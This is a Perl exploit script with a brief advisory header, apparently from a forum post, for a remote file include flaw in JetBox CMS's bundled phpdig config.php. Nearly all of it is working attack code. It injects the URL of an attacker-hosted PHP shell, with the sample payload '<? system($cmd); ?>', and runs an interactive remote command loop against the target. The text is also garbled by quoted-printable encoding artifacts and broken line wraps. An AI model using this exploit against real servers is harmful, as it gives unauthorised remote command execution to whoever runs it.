#!/usr/bin/perl
############
# JetBox CMS Remote File Include
# Exploit & Advisory: beford <xbefordx gmail com>
#
# uso:# =09perl own.pl <host> <cmd-shell-url> <cmd-var>
# =09=09perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php")=
)
# {include "$relative_script_path/locales/$phpdig_language-language.php"=
;}
#else
# {include "$relative_script_path/locales/en-language.php";}
############
use LWP::UserAgent;
$Path =3D $ARGV[0];
$Pathtocmd =3D $ARGV[1];
$cmdv =3D $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while()
{
=09print "[shell] \$";
=09while(<STDIN>) {
=09=09$cmd=3D$_;
=09=09chomp($cmd);
=09=09if (!$cmd) {
=09=09=09last;
=09=09}
=09=09$xpl =3D LWP::UserAgent->new() or die;
=09=09$req =3D HTTP::Request->new(GET
=3D>$Path.'includes/phpdig/includes/config.php?relative_script_path=3D'.$Pa=
thtocmd.'?&'.$cmdv.'=3D'.$cmd)or
die "\nCould Not connect\n";
=09=09$res =3D $xpl->request($req);
=09=09$return =3D $res->content;
=09=09$return =3D~ tr/[\n]/[=EA]/;
=09=09
=09=09if ($return =3D~/Error: HTTP request failed!/ || $return =3D~/: No se
puede ejecutar un comando en blanco <b>/) {
=09=09=09print "\nNo se puede conectar al host de la cmd o el comando es in=
valido\n";
=09=09=09exit;
=09=09} elsif ($return =3D~/^<br.\/>.<b>Fatal.error/) {
=09=09=09print "\nComando Invalido, o no hubo respuesta\n\n";
=09=09}
=09=09if ($return =3D~ /(.*)/) {
=09=09=09$finreturn =3D $1;
=09=09=09$finreturn=3D~ tr/[=EA]/[\n]/;
=09=09=09print "\r\n$finreturn\n\r";
=09=09=09last;
=09=09} else {
=09=09=09print "[shell] \$";
=09=09}
=09}
} last;
sub head() {
=09 print "\n=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D\r\n";
=09 print " JetBox CMS Remote File Include\r\n";
=09 print "=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= 3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D\r\n";
}
sub usage() {
=09 head();
=09 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";
=09 print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";
=09 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";
=09 print " <var> - var name used in phpshell : cmd \r\n";
=09 exit();
}

Likes:

Quote